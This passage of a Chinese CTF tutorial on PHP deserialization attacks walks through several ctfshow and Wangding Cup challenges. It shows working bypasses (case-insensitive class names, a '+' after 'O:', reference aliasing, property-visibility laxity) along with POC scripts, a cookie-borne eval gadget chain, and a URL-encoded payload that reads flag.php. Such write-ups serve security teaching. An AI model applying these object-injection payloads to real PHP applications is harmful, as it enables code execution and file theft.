$this->username=$u;  
$this->password=$p;  
}  
public function login(){  
return $this->username===$this->password;  
}  
public function __toString(){  
return $this->username;  
}  
public function __destruct(){  
global $flag;  
echo $flag;  
}  
}  
$ctfshowo=@unserialize($cs);  
if(preg_match(&#39;/ctfshow/&#39;, $cs)){  
throw new Exception("Error $ctfshowo",1);  
}

很明显是触发析构函数就得到了flag,但是有过滤,如果匹配到了ctfshow就抛异常,

这题用到的知识点是PHP类名对大小写不敏感,可以清楚看到过滤并没有过滤大小写

直接这样

$cs = file_get_contents('php://input');采用php伪协议传参

直接提交POST数据就行

<?php  


class cTfshow  
{  


}  

$a=new cTfshow();  
echo (serialize($a));

1PHP反序列化入門總結(小白必看)

+号绕过

ctfshowWEB258

<?php  


error_reporting(0);  
highlight_file(__FILE__);  

class ctfShowUser{  
public $username=&#39;xxxxxx&#39;;  
public $password=&#39;xxxxxx&#39;;  
public $isVip=false;  
public $class = &#39;info&#39;;  

public function __construct(){  
$this->class=new info();  
}  
public function login($u,$p){  
return $this->username===$u&&$this->password===$p;  
}  
public function __destruct(){  
$this->class->getInfo();  
}  

}  

class info{  
public $user=&#39;xxxxxx&#39;;  
public function getInfo(){  
return $this->user;  
}  
}  

class backDoor{  
public $code;  
public function getInfo(){  
eval($this->code);  
}  
}  

$username=$_GET[&#39;username&#39;];  
$password=$_GET[&#39;password&#39;];  

if(isset($username) && isset($password)){  
if(!preg_match(&#39;/[oc]:d+:/i&#39;, $_COOKIE[&#39;user&#39;])){  
$user = unserialize($_COOKIE[&#39;user&#39;]);  
}  
$user->login($username,$password);  
}  

可见增加了过滤,过滤例如如下o:123:、c:456:

s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo()

正常反序列化肯定会有o和c这种

如果O:后面不跟数字的话就可以把这个绕过去了

这里可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的

这里把O:后面加上一个加号

<?php  

error_reporting(0);  
highlight_file(__FILE__);  

class ctfShowUser{  
public $username=&#39;xxxxxx&#39;;  
public $password=&#39;xxxxxx&#39;;  
public $isVip=false;  
public $class = &#39;info&#39;;  

public function __construct(){  
$this->class=new backDoor();  
}  
public function __destruct(){  
$this->class->getInfo();  
}  

}  

class backDoor{  
public $code="phpinfo();";  
public function getInfo(){  
eval($this->code);  
}  
}  

$a=new ctfShowUser();  
//echo urlencode(serialize($a));  
$a=serialize($a);  
$a=preg_replace(&#39;/[oc]+:/i&#39;,&#39;O:+&#39;,$a);  
echo urlencode($a);

1PHP反序列化入門總結(小白必看)

利用&使两值恒等

题目ctfshow web265

<?php  

error_reporting(0);  
include(&#39;flag.php&#39;);  
highlight_file(__FILE__);  
class ctfshowAdmin{  
public $token;  
public $password;  

public function __construct($t,$p){  
$this->token=$t;  
$this->password = $p;  
}  
public function login(){  
return $this->token===$this->password;  
}  
}  

$ctfshow = unserialize($_GET[&#39;ctfshow&#39;]);  
$ctfshow->token=md5(mt_rand());  

if($ctfshow->login()){  
echo $flag;  
}

$ctfshow->login()这个成立才给flag

$ctfshow->token=md5(mt_rand());但是这个是随机的

这个题考察php按地址传参

<?php  
$a=&#39;11&#39;;  
$b=&$a;  
$b=1;  
echo $a;//$b被赋值的是变量a的地址,php是按地址传参,a的值会随b值变化  
//1

所以我们可以直接这样

<?php  
class ctfshowAdmin{  
public $token;  
public $password;  
public function __construct(){  
$this->password = &$this->token;  
}  
}  
$a=new ctfshowAdmin();  
echo ( urlencode(serialize($a)));

php7.1+反序列化对类属性不敏感

题目来自[网鼎杯 2020 青龙组]AreUSerialz

<?php  

include("flag.php");  

highlight_file(__FILE__);  

class FileHandler {  

protected $op;  
protected $filename;  
protected $content;  

function __construct() {  
$op = "1";  
$filename = "/tmp/tmpfile";  
$content = "Hello World!";  
$this->process();  
}  

public function process() {  
if($this->op == "1") {  
$this->write();  
} else if($this->op == "2") {  
$res = $this->read();  
$this->output($res);  
} else {  
$this->output("Bad Hacker!");  
}  
}  

private function write() {  
if(isset($this->filename) && isset($this->content)) {  
if(strlen((string)$this->content) > 100) {  
$this->output("Too long!");  
die();  
}  
$res = file_put_contents($this->filename, $this->content);  
if($res) $this->output("Successful!");  
else $this->output("Failed!");  
} else {  
$this->output("Failed!");  
}  
}  

private function read() {  
$res = "";  
if(isset($this->filename)) {  
$res = file_get_contents($this->filename);  
}  
return $res;  
}  

private function output($s) {  
echo "[Result]: <br>";  
echo $s;  
}  

function __destruct() {  
if($this->op === "2")  
$this->op = "1";  
$this->content = "";  
$this->process();  
}  

}  

function is_valid($s) {  
for($i = 0; $i < strlen($s); $i++)  
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))  
return false;  
return true;  
}  

if(isset($_GET{&#39;str&#39;})) {  

$str = (string)$_GET[&#39;str&#39;];  
if(is_valid($str)) {  
$obj = unserialize($str);  
}  

}

看着很多,其实没什么东西,

关键要利用到这里

大致看了write函数或者read函数,都可以尝试利用得到flag

但是__destruct()方法 $this->content = "";会把content值为空,我们没有办法去利用这个write函数,所以看看read函数

__destruct()方法里有一个强类型比较,$this->op === "2",如果我们把op=2;不加引号,那么为int类型,则$this->op === "2"为false,这样在process()方法里,就会调用read方法

接着就是绕过 is_valid函数 ,由于有protected属性,会有不可打印字符,而不可打印字符被

is_valid函数限制住了,所以需要绕过,那么在php7.1版本以上可以直接修改属性

因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

POC如下

<?php  

class FileHandler {  

public $op=2;  
public $filename="flag.php";  
public $content="111";  
pr  
}  

$a = new FileHandler();  

echo urlencode(serialize($a));  

?>

payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D

推荐学习:《PHP视频教程

以上是PHP反序列化入門總結(小白必看)的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:合天网安实验室。如有侵權,請聯絡admin@php.cn刪除